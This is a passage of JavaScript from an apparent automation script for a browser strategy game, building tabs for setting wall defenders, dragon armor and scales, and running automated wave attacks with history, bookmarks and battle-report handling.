						var unit_max = numTroops.incity + numTroops.indefense;
						if (unit_max > 0) Data.options.wall.preset.units[all_unit_types[i]] = unit_max;
						else Data.options.wall.preset.units[all_unit_types[i]] = 0;
					}
					t.tabWallSetDefense();
				}

				function onClickClearAll() {
					var t = Tabs.Wall;
					for (var i = 0; i < all_unit_types.length; i++) {
						Data.options.wall.preset.units[all_unit_types[i]] = 0;
					}
					t.tabWallSetDefense();
				}

				function onClickSavePreset() {
					eventArmor();
					eventScales();
					var t = Tabs.Wall;

					if (Data.options.wall.presets && Data.options.wall.presets.length > 0) {
						var h = cloneProps(Data.options.wall.presets);
						for (var i = h.length - 1; i >= 0; i--) {
							if (h[i].name == Data.options.wall.preset.name)
								Data.options.wall.presets.splice(i, 1);
						}
					}
					var rec = {
						name: Data.options.wall.preset.name,
						units: cloneProps(Data.options.wall.preset.units),
						scales: Data.options.wall.preset.scales,
						armor: Data.options.wall.preset.armor
					};
					Data.options.wall.presets.push(rec);
					t.tabWallManagement();
				}

				function onClickSetDefense() {
					eventArmor();
					eventScales();
					var t = Tabs.Wall;
					var city = Seed.cities[CAPITAL.id];
					var presetUnits = Data.options.wall.preset.units;
					var units = {};
					for (var pu in presetUnits) {
						var numTroops = getTroopNumbers(city, pu);
						var unit_max = numTroops.incity + numTroops.indefense;
						if (unit_max < presetUnits[pu] || presetUnits[pu] == -1) units[pu] = unit_max;
						else units[pu] = presetUnits[pu];
					}
					if (t.checkSetDefenseBusy) return false;
					t.checkSetDefenseBusy = true;
					set_defense_forces(t.container, city.id, units, function() {
						logit(translate('wall-defenders-updated'));
						Tabs.Wall.checkSetDefenseBusy = false;
						t.tabWallSetDefense();
					});
					new MyAjax.setCustomization('GreatDragon', Data.options.wall.preset.armor, Data.options.wall.preset.scales, function(rslt) {});
				}

				function setTroupsMax(event) {
					var args = event.target.id.split('_');
					var city = Seed.cities[CAPITAL.id];
					var units = {};
					var numTroops = getTroopNumbers(city, all_unit_types[args[1]]);
					var unit_max = toNum(numTroops.incity) + toNum(numTroops.indefense);
					Data.options.wall.preset.units[all_unit_types[args[1]]] = toNum(unit_max);
					t.tabWallSetDefense();
				}

				function getScales(dragon) {
					var ret = 'n/a';
					if (dragon.customizations && dragon.customizations.scales && dragon.slots && dragon.slots.scales) {
						ret = '<select id=' + setUID('preset_scales_' + dragon.id) + '>';
						for (var i = 0; i < dragon.customizations.scales.length; i++) {
							ret += '<option ' + ((dragon.customizations.scales[i] == dragon.slots.scales) ? 'selected' : '') + ' value="' + dragon.customizations.scales[i] + '">' + translate(dragon.customizations.scales[i]) + '</option>';
						}
						ret += '</select>';
					}
					return ret;
				}

				function getArmors(dragon, dragon_type) {
					var ret = translate('Not ready') + countArmorDragon(dragon_type);
					if (dragon.customizations && dragon.customizations.armor && dragon.slots && dragon.slots.armor) {
						ret = '<select id=' + setUID('preset_armor_' + dragon.id) + '>';
						for (var i = 0; i < dragon.customizations.armor.length; i++) {
							ret += '<option ' + ((dragon.customizations.armor[i] == dragon.slots.armor) ? 'selected' : '') + ' value="' + dragon.customizations.armor[i] + '">' + translate(dragon.customizations.armor[i]) + '</option>';
						}
						ret += '</select>';
					}
					return ret;
				}

				function countArmorDragon(dragon_type) {
					var armors = ['BodyArmor', 'ClawGuards', 'TailGuard', 'Helmet'];
					var ret = 0;
					for (var i = 0; i < armors.length; i++) {
						if (toNum(Seed.player.items[dragon_type + armors[i]]) !== 0) {
							ret++;
						}
					}
					if (ret == 4) return '';
					else return ' (' + translate('Got') + ' ' + ret + '/4)';
				}
			},

			/** WALL DRAGON DEFENSE SUB-TAB ***/
			tabDragonManagement: function() {
				var t = Tabs.Wall;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabDragonManagement']).className = 'selected';
				document.getElementById(UID['tabDragonManagement']).style.zIndex = 1;
				t.lastSubTab = 'tabDragonManagement';
				t.contentType = 2;

				var m = '<div id=' + setUID('tabWall_Results') + ' style="height:570px">' + '	<div class=' + UID['title'] + '>' + translate('Dragons management') + '</div>' + '	<div id=' + setUID('tabWall_Dragon') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<table id=' + setUID('tabWall_Dragons') + ' class=' + UID['table'] + '>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td>' + translate('Dragons') + '</td>' + '			<td>' + translate('Armor') + '&nbsp;&amp;&nbsp;' + translate('Scales') + '</td>' + '			<td>' + translate('Update') + '</td>' + '		</tr>';

				for (var gd = 0; gd < Seed.dragonList.length; gd++) {
					var row_style = '';
					if (gd % 2 == 1) row_style = "White";
					else row_style = "rgb(239,239,224)";
					var dragon = Seed.dragons[Seed.dragonList[gd].type];
					m += '<tr style="background-color:' + row_style + '"><td class=right>' + translate(dragon.name) + ':</td>' + '<td> ' + getArmors(dragon, Seed.dragonList[gd].type) + '<br/>' + getScales(dragon) + '</td>' + '<td><input class=small id=' + setUID('eq' + '_' + dragon.id) + ' ref=armor_' + dragon.name + '_' + dragon.id + ' type=button  style="width:auto !important;" value="Ok" \></td></tr>';

				}

				m += '</table><br>' + '<br>' + '<br><div id=' + setUID('tabDragonManagement_Feedback') + ' class=' + UID['status_feedback'] + '></div></div></div>';

				document.getElementById(UID['tabWall_Content']).innerHTML = m;

				for (var gd = 0; gd < Seed.dragonList.length; gd++) {
					var dragon = Seed.dragons[Seed.dragonList[gd].type];
					document.getElementById(UID['eq' + '_' + dragon.id]).addEventListener('click', onClickSetCustomization, false);
				}

				function onClickSetCustomization(event) {
					var args = event.target.getAttribute('ref').split('_');
					var dragonName = args[1];
					var dragonId = args[2];
					var armorDrg, scalesDrg;

					if (document.getElementById(UID['armor_' + dragonId]))
						armorDrg = document.getElementById(UID['armor_' + dragonId]).value;

					if (document.getElementById(UID['scales_' + dragonId]))
						scalesDrg = document.getElementById(UID['scales_' + dragonId]).value;

					new MyAjax.setCustomization(dragonName, armorDrg, scalesDrg,
						function(rslt) {
							var disRslt = '';
							if (rslt.dat.result.success) {
								var dragon_name = rslt.dat.result.unit_type.substring(rslt.dat.result.unit_type.indexOf('::') + 2);
								disRslt = 'OK : ' + translate(dragon_name) + '(' + translate((rslt.dat.result.slots.scales == undefined) ? 'GreenScales' : rslt.dat.result.slots.scales) + ',' + translate((rslt.dat.result.slots.armor == undefined ? 'GreenArmor' : rslt.dat.result.slots.armor)) + ')';
							} else
								disRslt = translate('Failed');
							dispFeedback(UID['tabDragonManagement_Feedback'], disRslt);
						});
				}

				function getScales(dragon) {
					var ret = 'n/a';
					if (dragon.customizations && dragon.customizations.scales && dragon.slots && dragon.slots.scales) {
						ret = '<select id=' + setUID('scales_' + dragon.id) + '>';
						for (var i = 0; i < dragon.customizations.scales.length; i++) {
							ret += '<option ' + ((dragon.customizations.scales[i] == dragon.slots.scales) ? 'selected' : '') + ' value="' + dragon.customizations.scales[i] + '">' + translate(dragon.customizations.scales[i]) + '</option>';
						}
						ret += '</select>';
					}
					return ret;
				}

				function getArmors(dragon, dragon_type) {
					var ret = translate('Not ready') + countArmorDragon(dragon_type);
					if (dragon.customizations && dragon.customizations.armor && dragon.slots && dragon.slots.armor) {
						ret = '<select id=' + setUID('armor_' + dragon.id) + '>';
						for (var i = 0; i < dragon.customizations.armor.length; i++) {
							ret += '<option ' + ((dragon.customizations.armor[i] == dragon.slots.armor) ? 'selected' : '') + ' value="' + dragon.customizations.armor[i] + '">' + translate(dragon.customizations.armor[i]) + '</option>';
						}
						ret += '</select>';
					}
					return ret;
				}

				function countArmorDragon(dragon_type) {
					var armors = ['BodyArmor', 'ClawGuards', 'TailGuard', 'Helmet'];
					var ret = 0;
					for (var i = 0; i < armors.length; i++) {
						if (toNum(Seed.player.items[dragon_type + armors[i]]) !== 0) {
							ret++;
						}
					}
					if (ret == 4) return '';
					else return ' (' + translate('Got') + ' ' + ret + '/4)';
				}

			}

		}

		/******************************** Wave Tab ***********************************/
		Tabs.Waves = {
			tabOrder: WAVE_TAB_ORDER,
			tabLabel: 'Wave',
			tabDisabled: !WAVE_TAB_ENABLE,
			container: null,
			enabled: false,
			attackTimer: null,
			marchTimer: null,
			attackErrors: 0,
			contentType: 0,
			/* 0 = attack, 1 = history, 2 = stats, 3 = last report */
			lastSubTab: 'tabWaveAttack',
			running: {
				start_at: 0
			},
			last_report: null,

			init: function(div) {
				var t = Tabs.Waves;
				Data.setDefaultValues('waves');
				t.container = div;
				var m = '' + '<div class=' + UID['title'] + '>' + translate('Wave') + '</div>' + '<div id=' + setUID('tabWave_Status') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<center><input id=' + setUID('tabWave_OnOff') + ' type=button value="OnOff" /></center>' + '	<div id=' + setUID('tabWave_Report') + ' style="margin-top:5px;height:140px; max-height:140px; width:540px; max-width:540px; overflow:auto;">' + '		<table id=' + setUID('tabWave_Marches') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div>' + '	<div id=' + setUID('tabWave_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabWaveAttack') + '>' + translate('Attack') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabWaveHistory') + '>' + translate('History') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabWaveStats') + '>' + translate('Stats') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabWaveLastReport') + '>' + translate('Last report') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabWave_Content') + ' style="padding-top:0px; height:440px; overflow-y:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabWaveAttack']).addEventListener('click', t.tabWaveAttack, false);
				document.getElementById(UID['tabWaveHistory']).addEventListener('click', t.tabWaveHistory, false);
				document.getElementById(UID['tabWaveStats']).addEventListener('click', t.tabWaveStats, false);
				document.getElementById(UID['tabWaveLastReport']).addEventListener('click', t.tabWaveLastReport, false);
				document.getElementById(UID['tabWave_OnOff']).addEventListener('click', function() {
					t.setWaveEnable(!Data.options.waves.enabled);
				}, false);
				window.addEventListener('unload', t.onUnload, false);
				t.setWaveEnable(Data.options.waves.enabled);
				t.contentType = toNum(Data.options.waves.current_tab);
				t.show();
			},

			tabWaveAttack: function() {
				var t = Tabs.Waves;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabWaveAttack']).className = 'selected';
				document.getElementById(UID['tabWaveAttack']).style.zIndex = 1;
				t.lastSubTab = 'tabWaveAttack';
				t.contentType = 0;
				var m = '<div class="' + UID['title'] + '">' + translate('Attacks') + ' ( ' + translate('Max') + '. ' + translate('Troops') + ' ' + numf(toNum((getMusterPoint(CAPITAL.id)).max_troops), ' ') + ' )</div>' + '<div class=' + UID['content'] + '>' + '	<div>' + '		<b>' + translate('Coords') + ':&nbsp;</b>&nbsp;' + '		X: <input id=' + setUID('tabWave_CoordsX') + ' size=1 maxlength=3 type=text value="' + Data.options.waves.target.x + '" /> ' + '		Y: <input id=' + setUID('tabWave_CoordsY') + ' size=2 maxlength=3 type=text value="' + Data.options.waves.target.y + '" /> ' + '		&nbsp <b>' + translate('Distance') + ':</b> <span id=' + setUID('tabWave_Distance') + '></span>' + '		&nbsp <input id=' + setUID('tabWave_Save') + ' class="' + UID['btn_green'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Save') + ' " />' + '		&nbsp <input id=' + setUID('tabWave_Spy') + ' class="' + UID['btn_green'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Spy') + ' " />' + '		&nbsp <input id=' + setUID('tabWave_Bookmark') + ' class="' + UID['btn_blue'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Bookmark') + ' " />';
				if (Data.options.waves.target.id && Data.options.waves.target.id != '' && Data.options.waves.target.n && Data.options.waves.target.n != '') {
					var user_ids = Data.options.waves.target.id + '_' + Data.options.waves.target.n;
					m += '	&nbsp <input id=' + setUID('tabWave_Msg') + ' ref=' + user_ids + ' class="' + UID['btn_blue'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Msg') + ' " />';
				}
				m += '		<br><br><label>' + translate('description') + ' :</label>&nbsp' + '		<textarea id=' + setUID('tabWave_Comment') + ' cols="80" rows="2" wrap="PHYSICAL">' + Data.options.waves.target.comment + '</textarea><br>' + '		<div class=' + UID['status_ticker'] + ' style="height:auto !important;margin:5px 10px !important;">' + '			<center><span id=' + setUID('tabWave_Tile') + '></span></center>' + '		</div>' + '	</div>' + '  <div>' + '	<table id=' + setUID('tabWave_Troops') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=10>' + translate('Troops for Wave Attack') + ':&nbsp;</td>' + '		</tr>' + '	</table>' + '	</div><br>' + '  <div>' + '	<table id=' + setUID('tabWave_Dragons') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=10>' + translate('Include Great Dragon') + ':&nbsp;</td>';
				var currentDragons = [];
				for (var j = 0; j < Seed.dragonList.length; j++) {
					var dragon = Seed.dragonList[j];
					if (j % 5 == 0)
						m += '</tr><tr>';
					m += '	<td class=right><span title="' + translate(dragon.type) + '">' + translate(Names.getTroopAbbr(dragon.type)) + ':<span></td>' + '	<td align=center><input type=checkbox id=' + setUID('tabWave_Dragons_' + j) + ' ref="' + j + '" ' + (Data.options.waves.target.dragons[dragon.type] ? ' checked' : '') + ' /></td>';
					currentDragons.push(j);
				}
				m += '</tr>' + '	</table>' + '	</div><br>' + '	<table class=' + UID['table'] + '>' + '		<tr>' + '			<td class=right> ' + translate('Delete Battle Reports') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabWave_DelReports') + ' type=checkbox ' + (Data.options.waves.delete_reports ? 'CHECKED' : '') + ' /></td>' + '		</tr><tr>' + '			<td class=right>' + translate('Stop if any troops lost') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabWave_StopOnLoss') + ' type=checkbox ' + (Data.options.waves.stop_on_loss ? 'CHECKED' : '') + ' /></td>' + '		</tr><tr>' + '			<td class=right>' + translate('Delay Between Attacks') + ':&nbsp;</td>' + '			<td>' + '				<input id=' + setUID('tabWave_DelayMin') + ' type=text size=1 maxlength=4 value="' + Data.options.waves.delay_min + '" />' + '				 to <span id=' + setUID('tabWave_DelayMax') + '>' + Data.options.waves.delay_max + '</span>&nbsp;' + translate('seconds') + '			</td>' + '		</tr><tr>' + '			<td class=right> ' + translate('Maximum simultaneous marches') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabWave_MaxMarches') + ' type=text size=1 maxlength=2 value="' + Data.options.waves.max_marches + '" /></td>' + '		</tr><tr>' + '			<td class=right> ' + translate('Send even without Dragon') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabWave_SendWithoutDragon') + ' type=checkbox ' + (Data.options.waves.send_without_dragon ? 'CHECKED' : '') + ' /></td>' + '		</tr>' + '	</table>' + '</div>';
				document.getElementById(UID['tabWave_Content']).innerHTML = m;
				document.getElementById(UID['tabWave_CoordsX']).addEventListener('change', t.eventCoords, false);
				document.getElementById(UID['tabWave_CoordsY']).addEventListener('change', t.eventCoords, false);
				document.getElementById(UID['tabWave_Save']).addEventListener('click', saveCoords, false);
				document.getElementById(UID['tabWave_Bookmark']).addEventListener('click', addBookmark, false);
				document.getElementById(UID['tabWave_Comment']).addEventListener('change', function() {
					Data.options.waves.target.comment = document.getElementById(UID['tabWave_Comment']).value
				}, false);
				document.getElementById(UID['tabWave_DelReports']).addEventListener('click', function(event) {
					Data.options.waves.delete_reports = event.target.checked;
				}, false);
				document.getElementById(UID['tabWave_StopOnLoss']).addEventListener('click', function(event) {
					Data.options.waves.stop_on_loss = event.target.checked;
				}, false);
				document.getElementById(UID['tabWave_SendWithoutDragon']).addEventListener('click', function(event) {
					Data.options.waves.send_without_dragon = event.target.checked;
				}, false);
				document.getElementById(UID['tabWave_DelayMin']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabWave_MaxMarches']).addEventListener('change', maxMarchesChanged, false);
				if (Data.options.waves.target.id && Data.options.waves.target.id != '' && Data.options.waves.target.n && Data.options.waves.target.n != '')
					document.getElementById(UID['tabWave_Msg']).addEventListener('click', onClickMsg, false);

				setTroopTable(document.getElementById(UID['tabWave_Troops']), 1, 'AW', wave_unit_types,
					Data.options.waves.target.units, Data.options.waves.target.saved_units, t.eventTroops, true);

				for (var j = 0; j < currentDragons.length; ++j) {
					document.getElementById(UID['tabWave_Dragons_' + currentDragons[j]]).addEventListener('change', function(event) {
						var args = event.target.getAttribute('ref');
						Data.options.waves.target.dragons[Seed.dragonList[args].type] = event.target.checked;
						var include_great_dragon = false;
						for (var x = 0; x < Seed.dragonList.length && !include_great_dragon; x++) {
							var dragon = Seed.dragonList[x];
							if (Data.options.waves.target.dragons[dragon.type]) include_great_dragon = true;
						}
						if (include_great_dragon) Data.options.waves.target.include_great_dragon = true;
						else Data.options.waves.target.include_great_dragon = false;
					}, false);
				}
				t.eventCoords();
				var butSpy = document.getElementById(UID['tabWave_Spy']);
				butSpy.addEventListener('click', butSpyNow, false);
				var tile = Data.options.waves.target;
				if (!tile.ai || tile.ai == 0 || tile.ai == null || tile.ai != (Seed.player.alliance ? Seed.player.alliance.id : -1))
					setButtonStyle(butSpy, true, 'btn_green', 'btn_disabled');
				else
					setButtonStyle(butSpy, false, 'btn_green', 'btn_disabled');

				function butSpyNow(event) {
					buttonSpyNow(t.container, Data.options.waves.target);
				}

				function delayChanged(event) {
					var min = toNum(event.target.value);
					var max = toNum(min * 1.5);
					if (min < nvl(MIN_DELAY_BETWEEN_WAVE, 10) || min > 3600) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					document.getElementById(UID['tabWave_DelayMax']).innerHTML = max;
					event.target.style.backgroundColor = '';
					Data.options.waves.delay_min = min;
					Data.options.waves.delay_max = max;
				}

				function maxMarchesChanged(event) {
					var val = toNum(document.getElementById(UID['tabWave_MaxMarches']).value);
					if (val < 0 || val > Seed.cities[CAPITAL.id].figures.marches.maximum) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					event.target.style.backgroundColor = '';
					Data.options.waves.max_marches = val;
				}

				function saveCoords() {
					var t = Tabs.Waves;
					if (Data.options.waves.history && Data.options.waves.history.length > 0) {
						var h = cloneProps(Data.options.waves.history);
						for (var i = h.length - 1; i >= 0; i--) {
							if ((h[i].x == Data.options.waves.target.x) && (h[i].y == Data.options.waves.target.y))
								Data.options.waves.history.splice(i, 1);
						}
					}
					var rec = {
						x: Data.options.waves.target.x,
						y: Data.options.waves.target.y,
						type: Data.options.waves.target.type,
						level: Data.options.waves.target.level,
						id: Data.options.waves.target.id,
						n: Data.options.waves.target.n,
						units: cloneProps(Data.options.waves.target.saved_units),
						dragons: cloneProps(Data.options.waves.target.dragons),
						ai: Data.options.waves.target.ai,
						inc: Data.options.waves.target.include_great_dragon,
						comment: Data.options.waves.target.comment
					};
					Data.options.waves.history.push(rec);
				}

				function addBookmark(event) {
					var n = toNum(event.target.getAttribute('ref'));
					saveBookmark(t.container,
						Data.options.waves.target.x,
						Data.options.waves.target.y,
						Data.options.waves.target.type,
						Data.options.waves.target.level,
						Data.options.waves.target.id,
						Data.options.waves.target.n,
						Data.options.waves.target.saved_units,
						Data.options.waves.target.ai,
						Data.options.waves.target.include_great_dragon, true,
						Data.options.waves.target.dragons,
						Data.options.waves.target.comment);
				}
			},
			tabWaveHistory: function() {
				var t = Tabs.Waves;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabWaveHistory']).className = 'selected';
				document.getElementById(UID['tabWaveHistory']).style.zIndex = 1;
				t.lastSubTab = 'tabWaveHistory';
				t.contentType = 1;
				var m = '<div class="' + UID['title'] + '">' + translate('History') + '</div>' + '	<div id=' + setUID('tabWave_HistoryList') + ' class=' + UID['status_ticker'] + ' style="height:390px; max-height:390px; width:540px; max-width:540px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabWave_Content']).innerHTML = m;
				var m = '<table class=' + UID['row_style'] + '>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td width="10px">&nbsp</td>' + '		<td width="35px"><A><span>' + translate('Dist') + '</span></A></td>' + '		<td width="50px"><A><span>' + translate('Coords') + '</span></A></td>' + '		<td width="160px"><A><span>' + translate('Target') + '</span></A></td>' + '		<td width="175px"><A><span>' + translate('Troops') + '</span></A></td>' + '	</tr>';
				var ul = [];
				for (var i = 0; i < Data.options.waves.history.length; i++) {
					var style = '',
						row_style = '';
					if (!Data.options.waves.history[i].comment || Data.options.waves.history[i].comment == null || Data.options.waves.history[i].comment == '')
						style = 'style="border-bottom: 1px solid #898989;"';
					if (i % 2 == 1) row_style = "White";
					else row_style = "rgb(239,239,224)";
					var time = getMarchTime(Data.options.waves.history[i].x, Data.options.waves.history[i].y, Data.options.waves.history[i].units);
					m += '<tr valign=top style="background-color:' + row_style + '">' + '	<td><input id=' + setUID('tabWave_Delete_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_red'] + '" style="width:auto !important;" type=submit value=" X " /></td>' + '	<td ' + style + '>' + getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Data.options.waves.history[i].x, Data.options.waves.history[i].y) + '<br> (' + timestrShort(time) + ')</td>' + '	<td align=center ' + style + '>' + Data.options.waves.history[i].x + ',' + Data.options.waves.history[i].y + '</td>' + '	<td align=left ' + style + '>' + Data.options.waves.history[i].type + '</td>' + '	<td align=left ' + style + '>' + getTroops(Data.options.waves.history[i].units, '<br>') + '</td>' + '	<td><input id=' + setUID('tabWave_Recall_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Recall') + '" /><br>' + '		<input id=' + setUID('tabWave_Bookmark_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Bookmark') + '" /></td>';
					if (Data.options.waves.history[i].id && Data.options.waves.history[i].id != '' && Data.options.waves.history[i].n && Data.options.waves.history[i].n != '') {
						var user_ids = Data.options.waves.history[i].id + '_' + Data.options.waves.history[i].n;
						var UIDMsg = setUID('tabWave_Msg_' + i);
						m += '	<td><input id=' + setUID('tabWave_Spy_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Spy') + '" /><br>' + '		<input id=' + UIDMsg + ' ref=' + user_ids + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" /></td>';
						ul.push(UIDMsg);
					} else {
						m += '	<td><input id=' + setUID('tabWave_Spy_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Spy') + '" /></td>';
					}
					m += '</tr>';
					if (Data.options.waves.history[i].comment && Data.options.waves.history[i].comment != null && Data.options.waves.history[i].comment != '')
						m += '<tr valign=top style="background-color:' + row_style + '"><td colspan=5 style="border-bottom: 1px solid #898989;">' + Data.options.waves.history[i].comment + '</td><td colspan=2>&nbsp</td></tr>';
				}
				document.getElementById(UID['tabWave_HistoryList']).innerHTML = m + '</table>';
				for (var i = 0; i < Data.options.waves.history.length; i++) {
					var butRecall = document.getElementById(UID['tabWave_Recall_' + i]);
					var butDelete = document.getElementById(UID['tabWave_Delete_' + i]);
					var butBookmark = document.getElementById(UID['tabWave_Bookmark_' + i]);
					var butSpy = document.getElementById(UID['tabWave_Spy_' + i]);
					butRecall.addEventListener('click', recallTarget, false);
					butDelete.addEventListener('click', deleteTarget, false);
					butBookmark.addEventListener('click', addBookmark, false);
					butSpy.addEventListener('click', butSpyNow, false);
					var tile = Data.options.waves.history[i];
					if (!tile.ai || tile.ai == 0 || tile.ai == null || tile.ai != (Seed.player.alliance ? Seed.player.alliance.id : -1))
						setButtonStyle(butSpy, true, 'btn_green', 'btn_disabled');
					else
						setButtonStyle(butSpy, false, 'btn_green', 'btn_disabled');
				}
				for (var u = 0; u < ul.length; u++)
					document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);

				function butSpyNow(event) {
					var n = toNum(event.target.getAttribute('ref'));
					buttonSpyNow(t.container, Data.options.waves.history[n]);
				}

				function recallTarget(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.waves.target.x = Data.options.waves.history[n].x;
					Data.options.waves.target.y = Data.options.waves.history[n].y;
					Data.options.waves.target.type = Data.options.waves.history[n].type;
					Data.options.waves.target.level = Data.options.waves.history[n].level;
					Data.options.waves.target.id = Data.options.waves.history[n].id;
					Data.options.waves.target.n = Data.options.waves.history[n].n;
					Data.options.waves.target.ai = Data.options.waves.history[n].ai;
					Data.options.waves.target.units = cloneProps(Data.options.waves.history[n].units);
					Data.options.waves.target.dragons = cloneProps(Data.options.waves.history[n].dragons);
					Data.options.waves.target.saved_units = cloneProps(Data.options.waves.history[n].units)
					Data.options.waves.target.include_great_dragon = Data.options.waves.history[n].inc;
					Data.options.waves.target.comment = Data.options.waves.history[n].comment;
					t.tabWaveAttack();
				}

				function deleteTarget(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.waves.history.splice(n, 1);
					t.tabWaveHistory();
				}

				function addBookmark(event) {
					var n = toNum(event.target.getAttribute('ref'));
					saveBookmark(t.container,
						Data.options.waves.history[n].x,
						Data.options.waves.history[n].y,
						Data.options.waves.history[n].type,
						Data.options.waves.history[n].level,
						Data.options.waves.history[n].id,
						Data.options.waves.history[n].n,
						Data.options.waves.history[n].units,
						Data.options.waves.history[n].ai,
						Data.options.waves.history[n].inc, true,
						Data.options.waves.history[n].dragons,
						Data.options.waves.history[n].comment);
				}
			},
			tabWaveStats: function() {
				var t = Tabs.Waves;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabWaveStats']).className = 'selected';
				document.getElementById(UID['tabWaveStats']).style.zIndex = 1;
				t.lastSubTab = 'tabWaveStats';
				t.contentType = 2;
				var m = '<div class=' + UID['title'] + '>' + translate('Attacks Stats') + '</div>' + '<div id=' + setUID('tabWaveStats_Statbox') + ' class=' + UID['status_ticker'] + '>' + '<div id=' + setUID('tabWaveStats_Status') + '></div>' + '<div id=' + setUID('tabWaveStats_Percent') + '></div>' + '<br/>' + '<center><input id=' + setUID('tabWaveStats_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' + '<br></div>';
				document.getElementById(UID['tabWave_Content']).innerHTML = m;
				document.getElementById(UID['tabWaveStats_Clear']).addEventListener('click', function() {
					t.clearStats();
					t.showStats();
				}, false);
				t.showStats();
			},
			tabWaveLastReport: function() {
				var t = Tabs.Waves;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabWaveLastReport']).className = 'selected';
				document.getElementById(UID['tabWaveLastReport']).style.zIndex = 1;
				t.lastSubTab = 'tabWaveLastReport';
				t.contentType = 3;
				var m = '<div id=' + setUID('tabWave_ShowReport') + ' class=' + UID['status_ticker'] + ' style="height:395px; max-height:395px; width:540px; max-width:540px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important"></div>';
				document.getElementById(UID['tabWave_Content']).innerHTML = m;
				var m = '<div class=' + UID['title'] + '>' + translate('Last report') + '</div>';
				if (t.last_report)
					m += '<center>' + Messages.displayBattleReport(t.last_report) + '</center>';
				document.getElementById(UID['tabWave_ShowReport']).innerHTML = m;
			},

			gotBattleReport: function(rpt_w) {
				var t = Tabs.Waves,
					has_loss = false;
				if (!rpt_w) return;
				if (rpt_w.report.location.x == Data.options.waves.target.x &&
					rpt_w.report.location.y == Data.options.waves.target.y &&
					rpt_w.report_notification.report_type == 'BattleReport'
				) {
					var march_id = null;
					for (var id in Data.marches.waves) {
						var march = Data.marches.waves[id];
						if (march.general.id === rpt_w.report.attacker.general.id) {
							march_id = id;
							break;
						}
					}
					t.last_report = Messages.details[rpt_w.report_notification.id];
					if (march_id && march_id != null) t.trackStats(march_id, rpt_w);
					var items = rpt_w.report.spoils.items;
					if (items.length !== 0) Seed.fetchPlayer({
						noCities: true
					});
					if (!Data.options.waves.delete_reports && !Data.options.waves.stop_on_loss) return;

					if (Data.options.waves.stop_on_loss && rpt_w.report.attacker.name == Seed.player.name) {
						for (var p in rpt_w.report.attacker.units) {
							if (rpt_w.report.attacker.units[p][0] != rpt_w.report.attacker.units[p][1]) {
								has_loss = true;
								var ts = new Date(rpt_w.report_notification.created_at * 1000).myString();
								t.setWaveEnable(false);
								dispFeedback(UID['tabWave_Feedback'], translate('Troops lost') + '! (' + ts + ')');
								actionLog(translate('Wave') + ': ' + translate('Troops lost') + '! (' + ts + ')');
								for (var id in Data.marches.waves) {
									if (Data.marches.waves[id].status === 'marching')
										doRecallMarch(Data.marches.waves[id].city_id, id);
								}
								return;
							}
						}
					}
					if (Data.options.waves.delete_reports && rpt_w.report.attacker.name == Seed.player.name && !has_loss)
						Messages.deleteMessage(rpt_w.report_notification.id);
				}

				function doRecallMarch(city_id, id) {
					var targMsg = 'Recall march ' + id;
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.marchRecall(city_id, id, function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('succeeded'));
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
				}
			},
			clearStats: function() {
				var t = Tabs.Waves;
